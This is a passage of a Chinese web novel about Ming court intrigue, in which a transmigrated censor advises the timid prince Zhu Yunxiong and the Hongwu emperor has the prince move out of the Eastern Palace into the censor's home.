先前见面都是在朝堂上,在朝堂上的朱允熥一直以来都是战战兢兢,无比紧张,更没有什么心思他顾,只是意味着低着头,瑟瑟发抖,不敢多看更不敢多说。 因此眼下是朱允熥第一次近距离仔细地打量朱煐。 “这人....怎么感觉好生熟悉?” 朱允熥不由心生疑惑。 朱煐给了他一种莫名的亲切感。 “难道是这些日子在朝堂上见多了的缘故?” 朱允熥找了个理由。 也只有这么个理由比较合理了。 朱允熥对朱煐可不敢有半点小觑,这几日在朝堂上,就属眼前的朱煐风头最盛,舌战群儒,就连朱允炆和那些个文官都被骂的抬不起头来,而他自己却没有半点事。 这说明什么?说明皇爷爷对其的厚爱啊! 为什么厚爱朱允熥不清楚,但他明白,他谁也惹不起。 朱允炆他惹不起,吕氏他惹不起,而眼前的人,他也惹不起。 “见过朱御史。” 朱允熥赶忙对朱煐见礼。 看着眼前慌慌张张的朱允熥,朱煐心中也不由得叹了口气。 哪家的皇孙会这般对一个刚入朝没几天的御史主动见礼的?也就这个懦弱,被养废了的朱允熥了。 想到朱允熥的身世,朱煐也是心里默默摇了摇头.... 从小就没有了亲生母亲,在东宫就好似没有了靠山,爹不疼娘不爱的,再加上吕氏刻意圈养..... 也是个可怜人.... 不过这世上可怜的人多了去了,朱煐也只是心里为之默哀了一小会儿。 心中不免疑惑。 这老朱把自己喊来这御书房做什么? 原先在路上的时候朱煐以为是老朱得知了自己多次与朱樉见面后暴怒,准备采取行动了,慷慨赴死的情绪都酝酿好了。 结果一开御书房大门,眼前的这情况,和想象中的明显不同!老朱没有想象中的暴怒,而御书房里还有个皇孙朱允熥..... ...... “朱御史,允熥见礼,你就受着吧,来,坐咱这儿。” 老朱拍了拍身边的位置示意让朱煐坐下。 “朱御史,先前你在朝堂上的时候也说过允熥的情况,你说允熥懦弱,可还记得?” “臣记得。” 老朱点了点头:“允熥这几日茶饭不思,心神不定,不久前昏迷进了太医署...” 听老朱讲述这几日朱允熥的表现,朱煐顿时无语住了.... 合着这几天的功夫,这位爷差点自己把自己给吓死了? “咱让你来是想问你,倘若你是允熥,你如何行事?” 老朱说着看向朱允熥。 朱允熥赶忙起身冲朱煐又是一礼:“请朱御史教我。” 朱煐:“......” 就这事儿? 把我这大老远的传入宫来? 虽然已经历经几世的封建王朝,可朱煐依旧不习惯这种屁大点事就让自己大老远跑一趟的感觉。 就在朱煐准备随便说两句敷衍了事的时候,忽的脑海里闪过了个念头.... 一时间,朱煐念头通达,也不恼了,看了眼老朱和朱允熥,露出了笑容…… “朱御史,你该不是不敢说吧?放心大胆说,咱恕你无罪!” 朱煐微微一笑:“陛下想岔了,臣并非畏惧,身正则无畏。” “臣以为,倘若臣与允熥殿下易位而处,臣定会力争这皇储之位!” “首先第一件事就是于东宫先掌掴吕氏。” “????” 朱煐一句话,顿时让老朱和朱允熥面面相觑。 就连提出问题的老朱本人也懵了.... 不是,知道你小子脾气暴,你这脾气,也太爆了吧? 而朱允熥就更懵了.... 掌掴吕氏? 这特么的,自己想都不敢想啊!只是....倘若真能掌掴吕氏,那这....也太爽了吧? 这是朱允熥做梦都不敢想的事,可就这么被朱煐给赤裸裸地给说了出来.... “朱御史,这...这合适吗?” 第32章 激动的朱允熥 朱允熥说话都在颤抖....是畏惧的颤抖,同时也是激动的颤抖……边说还边看了两眼老朱..... “朱御史,此举...会不会过于激烈了一些?” 老朱满是褶皱的老脸,就像是一朵盛开的菊花.... “激烈?就是要激烈啊!” 说着朱煐面向朱允熥:“皇孙殿下您看,眼下您唯唯诺诺不敢言语,倘若不采取激励的手段,何以破局?” “倘若我是殿下,我不光要掌掴吕氏,还要殴打允炆殿下,下手有多狠就多狠,最好先把人打进太医署。” “此事必须要尽全力,一次全功否则后患无穷!” “这东宫管事的是吕氏,这要是寻常的打闹,陛下定然不会过问,只有打个头破血流,只有把这事情给闹大了,闹到了朝堂之上,再找凉国公上表,再遣心腹闹得整个应天府满城风雨,如此,陛下才会过问。” “陛下事不关己高高挂起,那就得让陛下长长记性!” 朱煐掷地有声地说道。 老朱当场愣在了原地:“????” 朱允熥也懵了,整个人呆住,听着朱煐的这话,又看了看一旁的老朱,张了张嘴,话却又说不出来,只好默默地在心里给朱煐竖了个大拇指,心中对朱煐不由升起了一股子钦佩。 人都会对别人做到自己无法做到的事情而产生钦佩之情,而显然,朱煐所说的这些,朱允熥自认做不到,可以朱煐的性子,他十有八九干得出来..... 只是....就这么光明正大地当着皇爷爷的面说这....朱御史,你是真的半点也无惧啊.... 当着皇爷爷的面说让皇爷爷长长记性? 绝了! 朱允熥此刻对朱煐的钦佩之情如黄河决堤滔滔不绝..... 听着朱煐说的这番话,老朱不由嘴角抽了抽.... 这要是换做旁人,老朱怕是早已经勃然大怒抄家灭族了,可听朱煐说出这话,老朱除了有那么一点点小尴尬之外,心里竟反而有一点窃喜.... 咱孙当着咱面这么不给咱面子,这是没拿咱当外人啊! 好好好! 果然,咱和咱大孙的关系越来越亲近了! 虽然在朱允熥这小子的面前老朱觉得丢了些身为皇爷爷的威严,可想到自己和失散多年的大孙之间的关系拉进了这般多,老朱忽然又觉得心情舒畅了许多。 能让大孙和咱亲近,些许脸面算得了什么? “好!” 在朱允熥错愕的目光中,老朱拍手叫好:“朱御史说的不错啊。” 说着老朱看向朱允熥:“仔细看,仔细听,仔细学!你看看你这怂包样,哪里有半点咱朱家的性子?” “咱不管东宫,你不会逼着咱去管吗?” 看着老朱一脸义正言辞,朱允熥撇了撇嘴。 逼着你去管? 那我不是找死吗? 虽然心里吐槽,可面上朱允熥却是点头应是:“皇爷爷教训得是,那....那孙儿回去就按着做?” “你敢!” 老朱一听这话顿时眼睛一瞪。 旋即好似反应过来,干咳了两声.... “咳咳,咱的意思是,咱既然现在已经知道了东宫管理不善,那有什么话你小子直接和咱说就好了,家丑外扬毕竟不好,听朱爱卿的话,你得听精髓,不要流露表面,不可东施效颦,你可明白?” “朱御史,你同这这小子解释解释。” 这会儿的朱煐正观察着老朱,他本想以此举刺激一下老朱,可见在自己出言冒犯之后,这老头居然没有半点暴怒的意思,顿时让朱煐产生了一股挫败感.... 这老朱的胸襟,简直是宽广得没边了!简直离谱! 不过来到大明这些日子,同老朱相处了这么些时日,在老朱身上吃瘪了这么多次,朱煐也已经习惯了,心理承受能力比之前至少强了许多,心里预期早就拉下来了,挫败后的落差自然也就没有那么大了。 顺着老朱的话,朱煐冲朱允熥道:“殿下,陛下所言不错,臣这只是举个例子,陛下所言的精髓其实就是殿下该改改性子,不当如此懦弱才是。” “殿下是皇孙,身份高贵,眼下又是皇储之争,殿下身处朝堂中心,此时此刻,这吕氏就算是吃了熊心豹子胆,也不敢对殿下出手!” “既如此,那殿下还有什么好怕的呢?” “至于陛下,那就更不用怕了,陛下可是殿下你的亲爷爷,陛下难不成还会对殿下如何不成?” “殿下,您的身后有凉国公,有太子妃留下的人,有太子留下的人,更有陛下这个皇祖父,您有何惧?臣自幼孤苦,父母相继离世,臣的背后空无一人,臣尚且无惧,殿下何惧之有?” 朱煐此言一出,朱允熥倒是还没有什么感觉,可一旁的老朱确实豁然变了脸色。 老朱原本脸上的笑容瞬间收敛,看向朱煐的眼神里充满了心疼.... 激动的老朱此刻甚至想直接摊牌了,可话到嘴边张了张嘴却又什么也没有说出来.... 他有太多太多的担心,看着眼前的朱煐,老朱的心里充满了自责.... 都怪咱...都是咱的错啊.... 倘若当年能多停棺等个两日,说不定就能发现雄英未死,倘若当年能日夜守着,说不定大孙醒来的时候咱就能看到了..... 朱允熥看着侃侃而谈口若悬河一脸无畏的朱煐,眼中除了羡慕就是崇拜。 他做梦都想做到这样的无所畏惧,可他做不到。 道理他都没明白,可他就是害怕。 从小到大身处东宫无依无靠任人欺凌,这样自小养成的性格不是说改变就能改变的。 “允熥,朱御史所言虽然过了些,却也不是没有道理,你姓朱,只要在这大明的地界,你只要不做伤天害理之事,爷爷都能保得了你!” 老朱语重心长地和朱允熥说道。 朱允熥闻言,蓦然无语,可心中却是想着。 都能保得了我?那小时候我在东宫的时候,怎么没保? 见朱允熥依旧是低头一脸唯唯诺诺的模样,老朱老脸一红。 咱身为皇帝,堂堂一国之君,咱都说能保得了你了,你这娃子怎么也不来半点反应呢?这让咱大孙怎么看咱? 老朱有些气急,张了张嘴却又不知道说什么,生怕越解释越乱。 “朱御史,你继续说,倘若你是允熥,在掌掴吕氏,逼咱就范之外,接着怎么做?” 老朱岔开了话题,话锋一转又落到了朱煐的身上,而老朱也露出了好奇的神色。 原本老朱只是看不惯朱允熥这小子过于懦弱,想让性格刚强的朱煐做个榜样,可随着朱煐这一句掌掴吕氏将家事变成国事,逼的自己就范,老朱的心态就不由自主地出现了变化。 朱煐的想法比老朱想象中的还要更加大胆,完全出乎了老朱的预料,他仔细一想,这行为乍得一听好像是过于荒诞,可仔细一盘算,居然还真有可行之处! 倘若在自己不知的情况下,这一番操作,还真就逼的自己不能袖手旁观,只能出手了! 要是旁人说出这般大不敬的话,老朱自然是早将其九族尽灭了,可眼前的是朱煐,老朱越看朱煐越是满意。 “不愧是咱朱家的长孙!这性子,随咱啊!” “妹子,标儿。你们看到没?你们都说咱的性子脾气臭,这小子的性子,比咱还硬还臭嘞!” 老朱好奇地看着朱煐。 而朱煐扫了老朱一眼,心中充满了愕然与无奈。 愕然的是,自己言行都已经无状至此了,这老朱居然没有半点生气的样子! 这老东西的城府,比想象中的还要深! 这让朱煐深感无奈,城府深到几乎当面指着老朱鼻子骂了,他还一副唾面自干的模样,没有半点的不悦,这特么的想功德圆满的话,得干出什么样出格的事儿才行啊! 九世轮回想要功德圆满是要为家国天下而死,并非无端作死,虽然历经这几世让朱煐晓得了一些小擦边的漏洞,可真要是老朱城府深到要自己举兵造反才杀的话,那就真的完犊子了。 没有合理的理由举兵造反,死了那就是真的死了。 眼下家已经没有家了,双亲去世,父母又都是流民出身,连祖上是谁都不知道,真就是九族只有自己一人。 为家而死不现实。 那就只剩下了为国,为天下而死。 想要合理地让老朱亲手干掉自己,原本朱煐觉得很简单,可这几天下来,朱煐已经无奈了.... 这老朱的脾气...太好了! 不过朱煐也不是一个随意放弃,半途而废的人,八世都完成任务走过来了,还能被这小小大明给困住? 朱煐也在心中不断调整着计划和思路,从最开始的一步找死,到眼下的水滴石穿。 这个计划的核心原理就在于人性,每个人的心中都有一杆秤,每个人的心理都有一个承受的极限,只要不断地在这个人的心中留下坏印象,这日积月累,时间长了之后,就像是一个空桶被灌满了汽油,等一个契机,一点火花落入汽油桶,到时...‘轰’的一声,整个油桶将会彻底被引爆! 因此,朱煐只有一个想法——大胆发声!为老朱的爆发做铺垫。 朱煐收敛了心神,神色一正看了眼朱允熥之后继续道:“倘若我是允熥殿下,首先掌掴吕氏逼得陛下就范,让陛下于朝堂议此事,再找凉国公,晓之以情动之以理,争取到凉国公的支持!” “殿下,凉国公可是您的亲舅姥爷!就他这身份,注定了一旦允炆殿下上位他便没有了出路,倘若陛下再未雨绸缪一些,或许等允炆殿下登基之前就着手处理了凉国公了。” “凉国公是个聪明人,既然已知允炆殿下成为皇储多半是必死之局,那他又如何会坐以待毙?” “又是血脉相连,又是利益相通,与凉国公联手,那自然是珠联璧合!” “同时再借此离开东宫。保全性命,以免吕氏狗急跳墙见朝中争斗不过暗下黑手。” “她敢!” 朱煐话音未落,却不曾想老朱猛地开口打断,大手一挥冷哼一声:“朱御史,咱就是给吕氏个胆子她也不敢暗害咱朱家血脉!如此行径那她就是在找死!” “陛下,那倘若她就是在找死呢?” “皇储人选不过两人,一人身死,陛下您还有得选吗?” “我若是吕氏,别说是区区我的性命,便是搭上三族性命,让儿子登基,又有何妨?” “陛下您觉得什么东西能威慑住连生死都置之度外的人?” “今日陛下让臣与允熥殿下易位处之,臣想陛下是想让臣告诉允熥殿下,无需畏惧,可争皇储。可臣觉得,允熥殿下他的担心并非杞人忧天,何以臣易位而处之第一步便是掌掴吕氏,为的便是逃离东宫,只要身在东宫一日,那生死便由不得自己。” “若是陛下已决定让允炆殿下为皇储,那允熥殿下继续在东宫自然也无妨,想来吕氏也不会多此一举平生事端,可若是陛下有心想让允熥殿下也试这皇储之位,臣斗胆,请陛下放允熥殿下离宫。” “眼下尚且无事,可一旦出事,陛下悔之晚矣。毕竟人死不能复生,哪怕陛下事后再杀多少人,人死了就是死了,再也回不回来了。” “臣请陛下三思。” 朱煐的眼神灼灼盯着老朱,不退半分,言语间也没有多少修饰,全力冒犯,朱煐的眼睛盯着老朱,想要在老朱的脸上看到怒意。 可当朱煐话说完,老朱的脸上没有如他所料的怒意出现,反倒是呆住了.... 而此事,一旁的朱允熥却如遭雷击一般,眼睛猛地瞪大,看向朱煐,脸色涨红,心脏砰砰砰地快速跳动着.... 老朱的想法朱允熥也知道,可他做不到,因为他在东宫,他没来由的就是害怕。 他想开口直接告诉老朱他的担忧,可他不敢。 而朱煐刚刚那一番话,却是直截了当地把他一直以来埋藏在心里不敢说的话就这么赤裸裸地当着老朱的面,用最直接了当的语言给说了出来! 不愧是你啊朱御史! 这一刻,朱允熥仿佛看到了知己。 他激动地看向朱煐,而后又无比紧张地看向老朱.... 第33章 老朱的心思 此刻的老朱如遭雷击。 他完全没有想到朱煐话锋一转,居然就把矛头对准了自己。 “咱...咱错了?” 老朱人懵了.... 自从他当上皇帝之后,耳边已经很久没有听到有谁说自己错了,而自从马皇后去世之后,老朱耳边能说他错的人就更少了。 老朱从未觉得自己哪里有错过,此番让朱煐入宫也不过是为了想让朱煐给朱允熥打个榜样,让朱允熥知错,知耻而后勇。 可他却没有想到,这聊着聊着,反倒是得出了自己错了的结论.... 倘若是别人说出这话,老朱定然是嗤之以鼻,根本听不进去,反而还会勃然大怒当场算账。 可面对朱煐。老朱当场愣在了原地,半晌之后,缓过神来的老朱心中的第一反应便是担忧。 老朱悄悄地用眼角的余光偷偷地瞥了一眼朱煐,心中惴惴不安.... “这不会让咱大孙对咱有什么不好的想法吧?” 老朱顿感头疼。 原本大孙流落在外,耳边常年听得民间传闻,说咱暴虐,正想着趁着大孙入朝,在咱孙面前好好表现表现,改改形象呢,这下倒好,又多出了这么个坏事儿.... 允熥这小子可是雄英同父同母的亲兄弟,眼下雄英尚不知身份尚且便已如此愤慨,若是日后知晓了,以这混小子的臭脾气,那.... 嘶! 老朱的脑海里翻涌过一个个画面,顿时不由得打了个寒颤。 想到朱煐的脾气,老朱是又爱又恨。 “雄英这倔脾气倒是像咱,是个能扛事儿的,可这脾气....真犟起来,不光扛事儿,也扛咱啊....” 老朱心里想着,有点郁闷。 以这些日子以来对朱煐的了解,老朱觉得,倘若自己不能扭转自己在朱煐心中的形象和想法,让他心甘情愿地继位,说不得直接撂挑子了..... 要是其他人,老朱丝毫不担心,哪怕是脾气再大,也有的是办法治你。身为皇帝,一言九鼎,你若不允,那就是找死! 可偏偏朱煐....这混蛋是真不怕死啊! 这当大臣的时候就不怕死,诛九族都是面不改色,要是这小子打定主意不想继位,那老朱寻思着....自己还真没有办法.... “造孽啊!” 老朱脑海里想着这些,不由气的脸都绿了.... 想到日后朱煐知晓身份后,发现自己亲弟弟被欺辱多年,以他这暴脾气.... “不成不成,咱倒是忘了这一茬了....” 老朱没敢往下想,赶忙摇了摇脑袋把脑海里的想法驱逐出去.... “都是这该死的吕氏!” “不成,得想个法子解决这个麻烦....” 老朱暗骂这吕氏该死。 要说之前,朱允熥如何老朱虽说也在乎却也没有那么在乎,可眼下,事关朱煐这个老朱心里已经钦定的大明未来储君,老朱自然就重视了。 老朱此刻既郁闷又庆幸。 郁闷的是,以朱煐的脾气,一旦知道自己的身份,第一件事必然是替朱允熥这小子撑腰,说不定这倔驴脾气一犯,还真就不当这皇帝了.... 而庆幸的则是眼下朱煐并不知晓自己的身份。 换而言之,自己还有时间,亡羊补牢为时未晚! “咱该想个什么法子呢?” 老朱的脑子不断转动,身体虽然已经年迈,可老朱的脑子却依旧灵活,越老越妖...... “诶!” “有了!” 倏然间老朱眼前一亮,一个想法闪过脑海,旋即露出了笑容,笑容愈盛.... “哈哈哈哈哈。” 老朱忍不住笑出了声。 而面对忽然发笑的老朱,朱煐和朱允熥全都怔住了.... “陛下,您这是?” 朱允熥看着老朱却不敢开口问出心中的疑惑,可朱煐却不管这些,直言问道。 “呃...” 老朱顿时一愕,而后反应过来自己失态,当即收敛了脸上的笑容,微笑地看向允熥.... “允熥啊,你看朱御史如何?” 朱允熥面对眼前一脸和蔼可亲的老朱,不由一怔。 他可从来没有见过这般和善的老朱,在他的记忆力,老朱这个皇爷爷的脾气是很差很差的,每次见面都是板着脸一顿教训,所以朱允熥对于老朱很是敬畏,而眼下这一脸和蔼的老朱,却打破了老朱在朱允熥印象中的刻板形象,这让他一时没有反应过来,不由一愣。 “嘿,你小子,咱问你话呢!” 见朱允熥愣住,老朱再度开口。 而这也让朱允熥回过神来当即看了朱煐一眼,恭敬地回道:“皇爷爷,孙儿知晓您的良苦用心,您是想让孙儿像朱御史学习,像他一般勇敢,可孙儿....” 朱允熥想要说自己学不来,可话到嘴边,声音又不由自主低下去,到最后压根就没有了声音,他还是不敢说出来。 朱允熥低下头,他已经准备好了接受老朱的训斥。 可等了半天却没有等来老朱的训斥,他不由疑惑地抬头看向老朱,却见自己这一直以来严肃暴脾气的皇爷爷这会儿却半点也没有生气的样子,依旧是面带微笑:“哈哈哈哈,允熥啊,爷爷知道,这性格嘛,想要改,不是一朝一夕的事情。” “以前是爷爷不对,是爷爷对你的关心少了,你也知道爷爷平日里忙着处理政务,这宫中的事情是爷爷疏漏了,朱御史说的对啊,爷爷知错就改,是咱的错,咱就一定认!” “好在咱现在知错了,既然咱知错,那就要改错,你这性子属实也该改改,你看这样行不行,既然这东宫你住着不舒坦,那不如出宫去住,正好朱御史的府宅离宫中不远,宅子也宽敞,你就住进朱御史的宅子里,也跟着朱御史学学他的性子,日后面对事情啊,也刚强些,不要怕,咱朱家的子孙,有个啥子怕的?” “你看如何?” 老朱耐着性子好声好气地和朱允熥商量,当然,主要也是为了说给朱煐听。 朱允熥当场便怔住了.... 他呆愣愣的看着老朱,眼中充满了错愕与惊讶。 不是,皇爷爷非但没有生气,还认错了? 皇爷爷....说自己错了? 这怎么可能? 朱允熥只觉得大脑一片空白,甚至以为自己在做梦.... 虽然老朱见面的次数不多,可朱允熥毕竟从小到大都是在这宫中长大的,深知老朱的脾气,这是就算错了也不会认错的主儿,这点朱允熥十分确定,可眼下在自己眼前发生的这..... 朱允熥不由整个人都僵在了原地..... 他瞪大了眼睛,看向老朱的眼神里充满了不可置信。 而此时... 一旁的朱煐听了老朱的话,也是不由一愣.... 老朱训孙子,朱煐只是在看戏,这人家的家事,和自己有啥关系? 可没想到这吃瓜吃着吃着,居然吃到了自己的身上? 不是....这老头咋想的?让朱允熥和自己住? 这就算是向自己学习,也没有这种学习法吧? 这是什么意思? 朱煐下意识想要开口拒绝,可话到了嘴边却又忽然停住了,脑海里忽然闪过了一个念头.... 且慢! 倘若自己同意了让朱允熥入府,那是不是也就意味着自己被迫和朱允熥这皇孙绑定到一起了?成了蓝玉一党了? 这要是在老朱这儿没有完成任务,等老朱一死....这朱允炆一上位,那都不需要等朱棣靖难,身为朱允熥一党,朱允炆能容许自己活着? 到时候大不了学历史上的方孝孺,直接为国尽忠,这一切不就是顺理成章了? 妙!妙啊! 想着这些,顿时朱煐眼前一亮。 原本拒绝的话还没有说出口,话锋一转躬身应下了这份差事.... 而听到朱煐接下了这差事,原本还准备费一番口舌的老朱也是颇为讶异。 他看了看朱允熥,又看了看朱煐,心中不由喃喃排腹:“这莫不就是兄弟之间的默契?” “血脉相连吗?” 想到自己的计策,老朱嘴角微微上扬,心情大好。 以朱允熥这小子去吊住咱大孙,这两兄弟相处久了,能不生出些许感情?这要是日后再知晓了身份,嘿嘿.... “你个混小子不怕死,允熥怕死啊!到时候你不当皇帝,咱就假意让允炆那小子当,到时候让允熥去求你小子,就不信你小子的心是铁做的!” 这就是老朱的计划,让朱允熥这亲弟弟先去培养培养感情,这日后,不就能来个亲情捆绑了吗? 你就是再心如铁石,也不想看着自己的亲弟弟因你而蒙难吧? 老朱暗戳戳地下了个暗手。 而这暗手下的,比想象中的更顺利..... 得意完后,老朱脸色一肃。 “好了允熥,你现在就去收拾收拾东西,从东宫搬出去吧,接下来就先和朱御史住着,有什么不懂的就问问朱御史,跟着朱御史好生学习,不要让咱失望!” “允熥叩谢皇爷爷!” 朱允熥激动不已,当场就磕了个头。 此刻他的内心是真的激动。整个人都有种飘飘然的感觉,就像是在做梦一样..... 他从小到大做梦都想离开东宫,尤其是最近一个多月,朱标去世之后,朱允熥每天都担心自己看不到第二天的太阳,睡觉都不敢熟睡,生怕一个熟睡就再也醒不过来.... 他幻想过很多种离开东宫的方式,可眼下的这种离开方式是他万万没有想到的! “我就这么简单...逃离了?” 朱允熥不敢相信。 ...... 留两人在御书房用膳后,老朱继续开始批阅起奏折,朱允熥和随着朱煐离开了御书房。 朱煐看了眼朱允熥,眼里在放光。 这就是未来自己的底牌啊! “朱御史....” 朱允熥看了眼朱煐,欲言又止。 “允熥殿下有何吩咐?” “朱御史,我还有些东西在东宫,那个.....” 朱允熥又低下了头。 朱煐会意,乐了。 不就是担心回东宫碰到吕氏母子吗? 这感情好啊,这要是真撞上,把朱允炆这小崽子彻底给得罪死,那不就更被视为死敌了? “殿下,陛下既然将您交给臣,臣自然不会让人欺辱您,这东宫臣陪您回!” “当真?” 朱允熥顿时眼前一亮。 “自然。” 朱煐笑着点头。 看着眼前的朱煐,朱允熥没来由地心底一暖,不由感觉背后多了些莫名的底气..... ..... 东宫。 东宫本就在皇宫内,距离御书房的距离更近,没两脚路两人便到了。 而这会儿的东宫内,朱允炆正和吕氏商讨着近几日的朝堂局势的变化。 原本此前朱允炆感受到的是胜券在握,可这些日子,短短几天的功夫,朝堂格局就仿佛发生了天翻地覆的变化,朱允炆只觉得自己的皇储之位悬了,虽然吕氏多次劝其要定下心来,可朱允炆毕竟年幼,难以定心。 “娘,今日皇爷爷把允熥给传去了,你说皇爷爷他是不是起了别的心思?” “这几日也没见皇爷爷有想动凉国公的样子....” “稍安勿躁!” 相较于忐忑不安的朱允炆,吕氏的城府深沉不少。 “你是未来大明的储君,未来大明的皇帝,就这心性,像什么样子?” “朱允熥那小子的德行,只要你皇爷爷不是老糊涂了,他就当不了储君!” “至于蓝玉,倘若先前一切都在暗中,那或许是个祸害,可眼下什么都已经摆在了明面上,你皇爷爷出手动如雷霆,不会让你感觉到分毫的,眼下不过是暴风雨前的宁静罢了。” “再者说,娘先前和你说的你都忘了?” “真要到了万不得已之时,娘自会出手。” 吕氏掀起手中的茶盖,吹了吹热气,饮了一口茶水,好似不是在说争储之事,而只是在说一件寻常事。 而就在这时.... “娘娘,娘娘!” 一名宫女忽然跑了进来。 看到这宫女,吕氏不由眉头一皱。 这宫女是她派去服侍朱允熥的,说好听是服侍,但实际上就是监视朱允熥,一旦有什么风吹草动就会来上报。 “发生了何事?” “娘娘,二殿下正在搬行李,说是要出宫去!” “什么!?” 吕氏闻言大吃一惊,手中的茶碗也随之坠落到了地上摔了个粉碎。 “他要出宫?” “他怎么敢?” 吕氏豁然间变了脸色,而一旁的朱允炆也霎时间脸色骤变...... “娘?” “怎么办啊娘?” 朱允炆急切地望向吕氏。 而吕氏在短暂的震惊之后当即缓过神来,脸色一肃:“走,带本宫去看看!” 第34章 吕氏气炸了! 东宫。 今日是朱允熥这几年以来感觉最快活的日子。 朱煐在朱允熥的带领下来到了他所住的宫殿。 从表面上看,这宫殿的位置不错,看来这吕氏也不敢在明面上为难朱允熥,担心落人口舌。 不过在入内了之后就感觉到不同了,这里面的陈列颇为老旧且边边角角都是灰尘,一看就是有一段时间没有人来打理了。 朱允熥没有注意到朱煐的打量,回房间后赶忙就开始收拾起了行囊,同时嘴里嘟囔个不停。 毕竟是个孩子,正是藏不住事的年纪,心里高兴之情难以压抑。 很快,朱煐就被朱允熥的动作吸引。 朱允熥取了个包裹,然后开始装一些奇奇怪怪的东西。 红色的小衣服,一个断了个手笔的木头人,一个破破烂烂的枕头,枕头里的棉花都已经露出来了.... 朱煐见着这些不由一愣。 这朱允熥就算是在东宫再惨,也不至如此吧? 这收的都是什么? “殿下,你就收拾这些东西?” “何不出宫之后再买?这也花不了多少银子,要不咱买新的吧?” 朱煐说完,朱允熥的身形不由一顿,手上的动作也慢了下来,愣了一下之后朱允熥扭头冲朱煐苦笑道:“让朱御史见笑了,朱御史的好意允熥心领了,只是这些东西对允熥意义重大,新不如旧,东西能买新的,却买不到原来的那一份了。” 朱允熥摇了摇头,旋即边收拾东西边说道:“这些年允熥在宫中过得并不如意,朱御史也知我那大哥与吕氏都为难于我,只是前些年并非如此,小时候母亲虽然不在了,可我还有个兄长,兄长自幼便得皇爷爷喜爱,我犯了错也会护着我,兄长是朱家嫡长孙,又自小聪慧,有他护着,那几年在东宫没有谁敢欺负我.....” 朱允熥喋喋不休地说着,他好像是被闷了太久了,肚子里有太多太多的苦水和太多太多的话,一直憋在心里不得与人说,眼下心情舒畅,叠加又要离开东宫,以及睹物思人,多种情绪交织下,朱允熥的话匣子被打开,一股脑儿地和朱煐给说了起来,也不管朱煐听与不听,他只是一个劲儿地说着儿时的事。 而他收拾的这些东西,几乎都和他口中那个打小就护着他,会为了他去揍朱允炆的那个厉害的兄长有关。 朱煐听着朱允熥的喋喋不休,没有插嘴。 作为一名穿越者朱煐自然知晓朱允熥口中的是谁。 大明唯一嫡长孙,太子朱标和常氏所生的嫡长子,也被后世誉为遗憾的朱雄英。 朱雄英是大明的嫡长孙,自小聪慧,深受朱标和老朱的器重,再加上他的身份,背后站着的是整个淮西一脉,可惜造化弄人,朱雄英年仅八岁就去世了。 而朱雄英的死影响却极为深远,几乎可以说是影响了整个大明! 朱雄英是得天花去世,而马皇后也是同年去世,虽然宫中三缄其口,可有人推测马皇后的死也与这天花有关,是在朱雄英得病时照顾朱雄英所得。 可以说朱雄英的病间接导致了马皇后的死,而孙子和妻子同年相继去世也让老朱彻底失去了理智,他性情大变,处事更为狠辣且无人可以劝阻.... 想到原本史料中的记载,朱煐想到这儿的时候不由脸上露出了一抹古怪之色..... 老朱性情大变?更为暴虐?出手狠辣无人劝阻不听劝? 这明史的记载...当真是有些不靠谱啊....至少有关老朱的这一篇记载就与事实不符..... 好吧,看来这朱雄英之死和马皇后的死因还有待商榷,按照记载老朱的性子与眼下这感受到的老朱真正的性子比对来看,明史中记载错漏颇多..... 不过有一点是可以肯定的,朱雄英的死导致了朱允炆有了合法的继承权,而朱允炆的上位又间接逼的老朱不得不对蓝玉以及淮西一脉出手。 而这一出手,也就产生了连锁反应,朝廷之中再无能征善战之辈,再加上朱允炆削藩操之过急,以至于朱棣出手且成功上位,彻底改变了大明的走向,脱离了老朱原本既定的发展规划.... 因此朱雄英之死必然是改变了大明的走向,至于这个改变的好坏,谁也无从得知,毕竟这世上,没有如果不是? 朱煐脑海里不断冒出一些奇怪的想法,身为一个穿越者,想到这些东西那是基操,哪怕已经穿越了几世,可毕竟所处的是上帝视角,纵览全局,脑子里总会时不时冒出一些倘若...假如....要是...这些可能性的想法。 不过朱煐早已经过了那些试图改变时代的年岁,这大明如何,与自己又有什么干系呢? 好吧,在这里有一段日子了,倘若能顺手让大明更好些,那也无妨,只是想让朱煐做到牺牲自己的利益来强盛大明的话,朱煐自认还是做不到。 离开大明是一定要离开的,而且是要尽早离开,至于其他的....就管不了太多了,所有事情都得靠边.... 至于改变大明,让大明走向巅峰,这些事情朱煐没怎么考虑过,毕竟眼下的大明已经在世界巅峰了,纵观全球,能堪比大明的帝国也是几乎没有。 这都早已站上了巅峰,那又谈什么带着大明走上巅峰呢? 至于百姓的日子,过得也还勉勉强强凑活的嘛!毕竟这还是洪武朝,大明开国才二十来年百废待兴呢,相比于其他的朝代,眼下的时代已经很不错了。 ............. 朱煐思绪纷飞的同时,朱允熥也收拾好了行李。 让朱煐意外的是,朱允熥除了那些与他口中那个护着他的大哥朱雄英有关的物件之外,其他的东西只是零散带了几件,另外带了银票,其他东西都没有拿。 “朱御史我们走吧,我都收拾好了。” 朱允熥东西不多,都捆到了一起。 “殿下何不多带些东西?出宫入府怕是殿下住不惯。” 朱允熥摇了摇头:“不必了朱御史,想必我回宫我大哥那边已经得到消息,迟了怕平白生出事端.....” “殿下怕什么?” 朱允熥低头不语,只是拉着朱煐就要往外走。 见朱允熥这表现,朱煐也是心里暗暗摇头。 果然,一个人的性格想要转变不是那么容易的,朱允熥依旧是那个朱允熥,那个性格懦弱的朱允熥..... 不过朱煐却又有自己的计较。 为什么自己要跟着朱允熥跑这东宫一趟?难不成就是单纯的陪伴? 自己不就是想和吕氏和朱允炆碰个面,拉拉仇恨,以谋后事吗? 眼下吕氏那边想来已经是得到了消息,可朱允熥这小子的动作也太快了,这收拾东西迅雷不及掩耳的..... 朱煐有心想拖拖时间。 还没等他有动作,殿中的大门忽然被推开,而声音先人而至.... “允熥,你这是要上哪儿去啊?” 吕氏的声音响起,而随着大门被推开,吕氏带着几个宫女太监鱼贯入殿,径直走到了朱煐和朱允熥的面前。 而朱允熥听到吕氏的声音的第一时间整个人就瞬间僵住了,像是被什么东西给定住了一样..... 朱允熥的脸色也是不由得骤变,僵硬地扭头看向朱煐,张嘴却已经说不出话,只得一脸无助地看着朱煐,眼里满是乞求.... 朱煐被这眼神看的心里一颤,险些反省,好在朱煐立刻就转过了头,不看朱允熥..... “好险,这眼巴巴地看我,险些让我惭愧,还好我内心坚定。” 朱煐心里暗道侥幸,得亏自己离开大明的去意坚决,自己也不是个摇摆的人,确定了目标就坚定不移地向前,这才没有让朱允熥的眼神影响太多..... 朱煐看向吕氏,吕氏板着个脸,脸上满是愠怒,明眼人都能看出她此刻心中的不喜。 